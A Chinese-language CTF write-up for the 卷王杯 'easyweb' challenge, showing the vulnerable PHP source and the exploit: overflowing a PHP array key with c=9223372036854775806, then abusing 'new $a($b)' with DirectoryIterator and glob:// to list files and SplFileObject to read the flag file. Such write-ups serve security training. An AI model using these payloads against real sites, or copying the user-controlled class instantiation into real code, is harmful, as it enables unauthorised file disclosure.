CTF 卷王杯 easyweb

发布时间 2023-10-09 09:44:55作者: kode

get传入?source便可以获得网站源码

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "\$flag_filename = 'flag'.md5(???).'php';";  //这里可以看到flag.php是由flag+md5.php组成的
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;              //数组自增后进行赋值,我们让数组键溢出,导致自增后达到溢出无法进行赋值
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}

 这里的话传入c=9223372036854775806从而使得php数组键溢出,然后在echo new $a($b)这里的话可以使用php原生类进行命令执行

找到flag.php:&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806

读取flag:
a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806